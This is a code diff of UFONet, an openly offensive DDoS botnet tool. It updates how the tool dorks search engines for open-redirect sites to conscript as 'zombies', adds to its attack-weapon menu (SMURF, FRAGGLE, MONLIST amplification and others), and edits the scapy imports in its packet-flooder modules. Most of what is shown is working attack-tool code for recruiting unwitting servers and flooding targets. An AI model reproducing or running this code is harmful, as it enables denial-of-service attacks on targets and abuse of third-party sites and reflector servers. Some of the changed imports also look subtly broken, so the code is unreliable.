+        print(r"   +(O).)-|0|  \   x| ## |x   /  |0|-(.(O)+     ||     |-> DBSTRESS   #     |-> UFOACK         ||")
+        print(r"     `-'  '-'-._'-./ -00- \.-'_.-'-'  `-'       ||     |-> SPRAY      #     |-> UFORST         ||")
+        print(r"        _ | ||  '-.___||___.-'  || | _          ||     |-> SMURF      #     |-> DROPER         ||")
+        print(r"     .' _ | ||==O |   __   | O==|| | _ '.       ||     |-> TACHYON    #     |-> OVERLAP        ||")
+        print(r"    / .' ''.|  || | /_00_\ | ||  |.'' '. \      ||     |-> MONLIST    #     |-> PINGER         ||")
+        print(r" _  | '###  |  =| | ###### | |=  |' ###  |  _   ||     |-> FRAGGLE    #     |-> UFOUDP         ||")
+        print(r"(0)-| |(0)| '.  0\||__**_ ||/0  .' |(0)| |-(0)  ||     |-> SNIPER     #                        ||")
+        print(r" *  \ '._.'   '.  | \_##_/ |  .'   '._.' /  *   ||                                             ||")
+        print(r"     '.__ ____0_'.|__'--'__|.'_0____ __.'       #|=============================================|#")
+        print(r"    .'_.-|            YY            |-._'.      ||                                             ||")
+        print(r"                                                ||  -> [ UFONet: https://ufonet.03c8.net ] <-  ||") 
+        print(r"   + Class: PSYoPs / "+str(self.mothership_model)+" +   ||                                             ||")
+        print(r"                                                #|=============================================|#") 
         print("")
         print("")
 
 
     def banner(self):
     def banner(self):
@@ -298,15 +303,14 @@ class UFONet(object):
         except:
         except:
             private_ip = "Unknown"
             private_ip = "Unknown"
         try:
         try:
-            public_ip = requests.get(self.check_ip_service3).text
+            public_ip = requests.get(self.check_ip_service1).text
+            public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
         except:
         except:
             try:
             try:
                 public_ip = requests.get(self.check_ip_service2).text
                 public_ip = requests.get(self.check_ip_service2).text
+                public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
             except:
             except:
-                try:
-                    public_ip = requests.get(self.check_ip_service1).text
-                except:
-                    public_ip = "Unknown"
+                public_ip = "Unknown"
         return private_ip, public_ip
         return private_ip, public_ip
 
 
     def try_running(self, func, error, args=None):
     def try_running(self, func, error, args=None):
@@ -337,9 +341,9 @@ class UFONet(object):
             self.agents.append(agent)
             self.agents.append(agent)
         self.user_agent = random.choice(self.agents).strip()
         self.user_agent = random.choice(self.agents).strip()
         self.search_engines = [] # available dorking search engines
         self.search_engines = [] # available dorking search engines
-        self.search_engines.append('bing') # [13/07/2021: OK!]
-        self.search_engines.append('yahoo') # [13/07/2021: OK!]
-        self.search_engines.append('duck') # [13/07/2021: OK!]
+        self.search_engines.append('bing') # [13/07/2021: OK!] [25/08/2024 OK!]
+        #self.search_engines.append('yahoo') # [13/07/2021: OK!] [25/08/2024: tracking remote url origin]
+        self.search_engines.append('duck') # [13/07/2021: OK!] [25/08/2024 OK!]
         #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
         #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
         #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
         #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
         #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
         #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
@@ -421,7 +425,7 @@ class UFONet(object):
         proxy = options.proxy
         proxy = options.proxy
         if options.proxy:
         if options.proxy:
             try:
             try:
-                pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
+                pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
                 m = re.search(pattern, proxy)
                 m = re.search(pattern, proxy)
                 if m is None:
                 if m is None:
                     self.banner()
                     self.banner()
@@ -461,25 +465,25 @@ class UFONet(object):
         if options.cryptomsg:
         if options.cryptomsg:
             from core.tools.crypter import Cipher
             from core.tools.crypter import Cipher
             print("  " + '='*44)
             print("  " + '='*44)
-            print("                                            ")
-            print("          ____...------------...____        ")
-            print("     _.-'' /o/__ ____ __ __  __ \o\_`'-._   ")
-            print("   .'     / /                    \ \     '. ")
-            print("   |=====/o/======================\o\=====| ")
-            print("   |____/_/________..____..________\_\____| ")
-            print("   /   _/ \_     <_o#\__/#o_>     _/ \_   \ ")
-            print("   \__/_____\####/0213411543/####/_____\__/ ")
-            print("    |===\!/========================\!/===|  ")
-            print("    |   |=|          .---.         |=|   |  ")
-            print("    |===|o|=========/     \========|o|===|  ")
-            print("    |   | |         \() ()/        | |   |  ")
-            print("    |===|o|======{'-.) A (.-'}=====|o|===|  ")
-            print("    | __/ \__     '-.\\uuu/.-'    __/ \__ |  ")
-            print("    |==== .'.'^'.'.====|====.'.'^'.'.====|  ")
-            print("    |  _\o/   __  {.' __  '.} _   _\o/  _|  ")
-            print("    ''''''''''''''''''''''''''''''''''''''  ")
-            print("\n     + UFONet Crypter (AES256+HMAC-SHA1)")
-            print("  (140 plain text chars = 69 encrypted chars)\n")
+            print(r"                                            ")
+            print(r"          ____...------------...____        ")
+            print(r"     _.-'' /o/__ ____ __ __  __ \o\_`'-._   ")
+            print(r"   .'     / /                    \ \     '. ")
+            print(r"   |=====/o/======================\o\=====| ")
+            print(r"   |____/_/________..____..________\_\____| ")
+            print(r"   /   _/ \_     <_o#\__/#o_>     _/ \_   \ ")
+            print(r"   \__/_____\####/0213411543/####/_____\__/ ")
+            print(r"    |===\!/========================\!/===|  ")
+            print(r"    |   |=|          .---.         |=|   |  ")
+            print(r"    |===|o|=========/     \========|o|===|  ")
+            print(r"    |   | |         \() ()/        | |   |  ")
+            print(r"    |===|o|======{'-.) A (.-'}=====|o|===|  ")
+            print(r"    | __/ \__    '-.\\uuu/.-'    __/ \__ |  ")
+            print(r"    |==== .'.'^'.'.====|====.'.'^'.'.====|  ")
+            print(r"    |  _\o/   __  {.' __  '.} _   _\o/  _|  ")
+            print(r"    ''''''''''''''''''''''''''''''''''''''  ")
+            print(r"     + UFONet Crypter (AES256+HMAC-SHA1)")
+            print(r"  (140 plain text chars = 69 encrypted chars)")
             print("  " + '='*44 + "\n")
             print("  " + '='*44 + "\n")
             text = str(input("-> Enter TEXT: "))
             text = str(input("-> Enter TEXT: "))
             input_key = str(input("\n-> Enter KEY: "))
             input_key = str(input("\n-> Enter KEY: "))
@@ -507,7 +511,9 @@ class UFONet(object):
             private_ip, public_ip = self.show_ips()
             private_ip, public_ip = self.show_ips()
             print("|- IP Private  :", private_ip)
             print("|- IP Private  :", private_ip)
             print("|" +"-"*34)
             print("|" +"-"*34)
-            t = urlparse(self.check_ip_service3)
+            self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
+            self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
+            t = urlparse(self.check_ip_service)
             name_service = t.netloc
             name_service = t.netloc
             print("|- IP Public   :", public_ip +" | ["+name_service+"]")
             print("|- IP Public   :", public_ip +" | ["+name_service+"]")
             print("-"*35)
             print("-"*35)
@@ -3827,69 +3833,24 @@ class UFONet(object):
             url = url + data
             url = url + data
             self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
             self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
             headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
             headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
-            if options.verbose:
-                print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
-            try:
-                if options.proxy: # set proxy
-                    self.proxy_transport(options.proxy)
-                req = urllib.request.Request(url, None, headers)
-                req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
-            except:
-                print('[Error] [AI] Unable to connect to: bing\n')
-                if options.allengines or options.autosearch:
-                    return
-                if not options.dorks or not options.autosearch:
-                    if not self.options.forceyes:
-                        update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
-                    else:
-                        update_reply = "Y"
-                    if update_reply == "n" or update_reply == "N":
-                        return #sys.exit(2)
-                    print("\nSearch engines available:")
-                    print('-'*25)
-                    for e in self.search_engines:
-                        print("+ "+e)
-                    print('-'*25)
-                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
-                    return #sys.exit(2)
-                else:
-                    req_reply = ''
-            regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
-            pattern = re.compile(regex)
-            url_links = re.findall(pattern, req_reply)
-        elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
-            location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
-            #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
-            location = str(random.choice(location).strip()) # shuffle location
-            if location == "jp": # [28/02/2019]
-                url = 'https://search.yahoo.co.jp/search?'
+            if options.num_results: # set number of results to search
+                try:
+                    num_results = int(options.num_results)
+                except:
+                    print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
+                    num_results = 10
             else:
             else:
-                url = 'https://'+location+'.search.yahoo.com/search?'            
-            if options.search: # search from query
-                if location == "jp":
-                    q = '"' + str(options.search) + '"' # set query to search literally on results
-                else:
-                    q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
-            if options.dorks or options.autosearch: # search from a dork
-                if location == "jp":
-                    q = '"' + str(dork) + '"' # set query to search literally on results
-                else:
-                    q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
-            start = 0 # set index number of first entry
-            query_string = { 'p':q, 'b':start }
-            data = urllib.parse.urlencode(query_string)
-            url = url + data
-            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
-            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
+                num_results = 10
             if options.verbose:
             if options.verbose:
-                print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
+                print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
+                print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
             try:
             try:
                 if options.proxy: # set proxy
                 if options.proxy: # set proxy
                     self.proxy_transport(options.proxy)
                     self.proxy_transport(options.proxy)
                 req = urllib.request.Request(url, None, headers)
                 req = urllib.request.Request(url, None, headers)
                 req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
                 req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
             except:
             except:
-                print('[Error] [AI] Unable to connect to: yahoo\n')
+                print('[Error] [AI] Unable to connect to: bing\n')
                 if options.allengines or options.autosearch:
                 if options.allengines or options.autosearch:
                     return
                     return
                 if not options.dorks or not options.autosearch:
                 if not options.dorks or not options.autosearch:
@@ -3904,15 +3865,69 @@ class UFONet(object):
                     for e in self.search_engines:
                     for e in self.search_engines:
                         print("+ "+e)
                         print("+ "+e)
                     print('-'*25)
                     print('-'*25)
-                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
+                    print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
                     return #sys.exit(2)
                     return #sys.exit(2)
                 else:
                 else:
                     req_reply = ''
                     req_reply = ''
-            #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
-            regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
+            regex = '</a></div><h2><a href="(.+?)">' # regex magics [25/08/2024 OK!]
             pattern = re.compile(regex)
             pattern = re.compile(regex)
             url_links = re.findall(pattern, req_reply)
             url_links = re.findall(pattern, req_reply)
-        elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
+        #elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
+        #    location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
+        #    #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
+        #    location = str(random.choice(location).strip()) # shuffle location
+        #    if location == "jp": # [28/02/2019]
+        #        url = 'https://search.yahoo.co.jp/search?'
+        #    else:
+        #        url = 'https://'+location+'.search.yahoo.com/search?'            
+        #    if options.search: # search from query
+        #        if location == "jp":
+        #            q = '"' + str(options.search) + '"' # set query to search literally on results
+        #        else:
+        #            q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
+        #    if options.dorks or options.autosearch: # search from a dork
+        #        if location == "jp":
+        #            q = '"' + str(dork) + '"' # set query to search literally on results
+        #        else:
+        #            q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
+        #    start = 0 # set index number of first entry
+        #    query_string = { 'p':q, 'b':start }
+        #    data = urllib.parse.urlencode(query_string)
+        #    url = url + data
+        #    self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
+        #    headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
+        #    if options.verbose:
+        #        print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
+        #    try:
+        #        if options.proxy: # set proxy
+        #            self.proxy_transport(options.proxy)
+        #        req = urllib.request.Request(url, None, headers)
+        #        req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
+        #    except:
+        #        print('[Error] [AI] Unable to connect to: yahoo\n')
+        #        if options.allengines or options.autosearch:
+        #            return
+        #        if not options.dorks or not options.autosearch:
+        #            if not self.options.forceyes:
+        #                update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
+        #            else:
+        #                update_reply = "Y"
+        #            if update_reply == "n" or update_reply == "N":
+        #                return #sys.exit(2)
+        #            print("\nSearch engines available:")
+        #            print('-'*25)
+        #            for e in self.search_engines:
+        #                print("+ "+e)
+        #            print('-'*25)
+        #            print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
+        #            return #sys.exit(2)
+        #        else:
+        #            req_reply = ''
+        #    #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
+        #    regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
+        #    pattern = re.compile(regex)
+        #    url_links = re.findall(pattern, req_reply)
+        elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!] [25/08/2024 OK!]
             url = 'https://duckduckgo.com/html/'
             url = 'https://duckduckgo.com/html/'
             if options.search: # search from query
             if options.search: # search from query
                 q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
                 q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
@@ -3920,15 +3935,22 @@ class UFONet(object):
                 q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
                 q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
             query_string = { 'q':q }
             query_string = { 'q':q }
             data = urllib.parse.urlencode(query_string)
             data = urllib.parse.urlencode(query_string)
-            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
-            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
+            from duckduckgo_search import DDGS # import search engine wrapper lib
+            if options.num_results: # set number of results to search
+                try:
+                    num_results = int(options.num_results)
+                except:
+                    print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
+                    num_results = 10
+            else:
+                num_results = 10
             if options.verbose:
             if options.verbose:
-                print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")\n")
+                print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
+                print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
             try:
             try:
                 if options.proxy: # set proxy
                 if options.proxy: # set proxy
                     self.proxy_transport(options.proxy)
                     self.proxy_transport(options.proxy)
-                req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
-                req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
+                req_reply = DDGS().text(data, safesearch='Off', max_results=num_results)
             except:
             except:
                 print('[Error] [AI] Unable to connect to: duck\n')
                 print('[Error] [AI] Unable to connect to: duck\n')
                 if options.allengines or options.autosearch:
                 if options.allengines or options.autosearch:
@@ -3945,13 +3967,15 @@ class UFONet(object):
                     for e in self.search_engines:
                     for e in self.search_engines:
                         print("+ "+e)
                         print("+ "+e)
                     print('-'*25)
                     print('-'*25)
-                    print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
+                    print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
                     return #sys.exit(2)
                     return #sys.exit(2)
                 else:
                 else:
                     req_reply = ''
                     req_reply = ''
-            regex = 'snippet" href="(.+?)">' # regex magics
-            pattern = re.compile(regex)
-            url_links = re.findall(pattern, req_reply)
+            url_links = []
+            for url_reply in req_reply:
+                for key,value in url_reply.items():
+                    if key == "href":
+                        url_links.append(value)
         else: # no valid search engine
         else: # no valid search engine
             print('[Error] [AI] This search engine is not supported!\n')
             print('[Error] [AI] This search engine is not supported!\n')
             if not options.dorks or options.autosearch:
             if not options.dorks or options.autosearch:
@@ -3966,7 +3990,7 @@ class UFONet(object):
                 for e in self.search_engines:
                 for e in self.search_engines:
                     print("+ "+e)
                     print("+ "+e)
                 print('-'*25)
                 print('-'*25)
-                print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
+                print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
                 return #sys.exit(2)
                 return #sys.exit(2)
             else:
             else:
                 req_reply = ''
                 req_reply = ''
@@ -3985,11 +4009,11 @@ class UFONet(object):
             if options.engine == "bing":
             if options.engine == "bing":
                 if " h=" in url: # regex magics [18/08/2016]
                 if " h=" in url: # regex magics [18/08/2016]
                     url = url.rsplit('" h=',1)[0]
                     url = url.rsplit('" h=',1)[0]
-            if options.engine == "yahoo":
-                if 'RU=' in url: # regex magics [18/08/2016]
-                    url = url.rsplit('RU=',1)[1] 
-                if 'UTF-8&u=' in url: # regex magics [05/02/2018]
-                    url = url.rsplit('UTF-8&u=',1)[1]  
+            #if options.engine == "yahoo":
+            #    if 'RU=' in url: # regex magics [18/08/2016]
+            #        url = url.rsplit('RU=',1)[1] 
+            #    if 'UTF-8&u=' in url: # regex magics [05/02/2018]
+            #        url = url.rsplit('UTF-8&u=',1)[1]  
             total_results = total_results + 1 # results counter
             total_results = total_results + 1 # results counter
             url_link = urllib.parse.unquote(url) # unquote encoding
             url_link = urllib.parse.unquote(url) # unquote encoding
             if options.search:
             if options.search:
@@ -4415,7 +4439,10 @@ class UFONet(object):
                 param = re.findall(pattern_param, alien) # HTTP POST params to submit
                 param = re.findall(pattern_param, alien) # HTTP POST params to submit
                 for u in alien_url:
                 for u in alien_url:
                     url = u # ex: POST -> path/submit.php
                     url = u # ex: POST -> path/submit.php
-                t = urlparse(url)
+                try:
+                    t = urlparse(url)
+                except:
+                    pass
                 name_alien = t.netloc
                 name_alien = t.netloc
                 if name_alien == "":
                 if name_alien == "":
                     name_alien = alien
                     name_alien = alien
@@ -5215,6 +5242,8 @@ class UFONet(object):
         return disc_zombies
         return disc_zombies
 
 
     def parse_url_encoding(self, target):
     def parse_url_encoding(self, target):
+        if not target.startswith("http"):
+            target = "http://" + target 
         t = urlparse(target)
         t = urlparse(target)
         host = urllib.parse.quote(t.netloc.encode('utf-8'))
         host = urllib.parse.quote(t.netloc.encode('utf-8'))
         path = urllib.parse.quote(t.path.encode('utf-8'))
         path = urllib.parse.quote(t.path.encode('utf-8'))
@@ -5408,7 +5437,7 @@ class UFONet(object):
                 self.payload = False
                 self.payload = False
                 if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
                 if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
                     num_waiting_zombies = num_waiting_zombies + 1
                     num_waiting_zombies = num_waiting_zombies + 1
-                    print("Status:", "Waiting for orders... ;-)")
+                    print("Status:", "Awaiting for orders... ;-)")
                     zombies_ready.append(zombie)
                     zombies_ready.append(zombie)
                 else:
                 else:
                     num_disconnected_zombies = num_disconnected_zombies + 1
                     num_disconnected_zombies = num_disconnected_zombies + 1
@@ -5510,7 +5539,7 @@ class UFONet(object):
             # send Open Redirect injection (multiple zombies > one target url)
             # send Open Redirect injection (multiple zombies > one target url)
             reply = self.injection(target, zombies)
             reply = self.injection(target, zombies)
         else:
         else:
-            print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
+            print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
 
 
     def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
     def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
         # perform some other extra attacks (such as DoS techniques)
         # perform some other extra attacks (such as DoS techniques)
@@ -5865,7 +5894,7 @@ class UFONet(object):
                     else:
                     else:
                         target = target.replace("https://", "")
                         target = target.replace("https://", "")
                     try:
                     try:
-                        url = self.external_check_service1 + target + ".html" # check from external service [1] [23/07/2022]
+                        url = self.external_check_service1 + target  # check from external service [1] [23/07/2022]
                         self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
                         self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
                         headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
                         headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
                         if options.proxy: # set proxy
                         if options.proxy: # set proxy
@@ -5886,7 +5915,7 @@ class UFONet(object):
                         req = urllib.request.Request(url, None, headers)
                         req = urllib.request.Request(url, None, headers)
                         try:
                         try:
                             req_reply = urllib.request.urlopen(req, context=self.ctx).read()
                             req_reply = urllib.request.urlopen(req, context=self.ctx).read()
-                            if b"It's just you" in req_reply:
+                            if b"Currently Up" in req_reply:
                                 t = urlparse(self.external_check_service2)
                                 t = urlparse(self.external_check_service2)
                                 name_external2 = t.netloc
                                 name_external2 = t.netloc
                                 print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
                                 print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")

+ 3 - 3
core/mods/droper.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet IP FRAGMENTATION flooder (DROPER)
 # UFONet IP FRAGMENTATION flooder (DROPER)

+ 3 - 3
core/mods/fraggle.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,9 +12,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import sys, random, socket
 import urllib.parse
 import urllib.parse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet UDP broadcast attack (FRAGGLE)
 # UFONet UDP broadcast attack (FRAGGLE)

+ 2 - 2
core/mods/monlist.py

@@ -11,9 +11,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
 import sys, random
 import sys, random
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 ntp_file = "botnet/ntp.txt" # NTP servers IP list
 ntp_file = "botnet/ntp.txt" # NTP servers IP list

+ 3 - 3
core/mods/overlap.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
 # UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)

+ 2 - 2
core/mods/pinger.py

@@ -15,9 +15,9 @@ try:
 except:
 except:
     from urllib.parse import urlparse
     from urllib.parse import urlparse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet ICMP (echo ping) attack (PINGER)
 # UFONet ICMP (echo ping) attack (PINGER)

+ 3 - 3
core/mods/smurf.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,9 +12,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import sys, random, socket
 import urllib.parse
 import urllib.parse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet ICMP broadcast attack (SMURF)
 # UFONet ICMP broadcast attack (SMURF)

+ 3 - 3
core/mods/sniper.py

@@ -3,7 +3,7 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,9 +11,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
 import sys, random
 import sys, random
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 snmp_file = "botnet/snmp.txt" # SNMP servers IP list
 snmp_file = "botnet/snmp.txt" # SNMP servers IP list

+ 2 - 2
core/mods/spray.py

@@ -12,9 +12,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import sys, random, socket
 import urllib.parse
 import urllib.parse
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
-    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    print("\nError importing: scapy lib.\n")
     sys.exit(2)
     sys.exit(2)
 
 
 # UFONet TCP SYN Reflector (SPRAY)
 # UFONet TCP SYN Reflector (SPRAY)

+ 2 - 2
core/mods/tachyon.py

@@ -11,9 +11,9 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
 import sys, random
 import sys, random
 try:
 try:
-    from scapy.all import *
+    from scapy import *
 except:
 except:
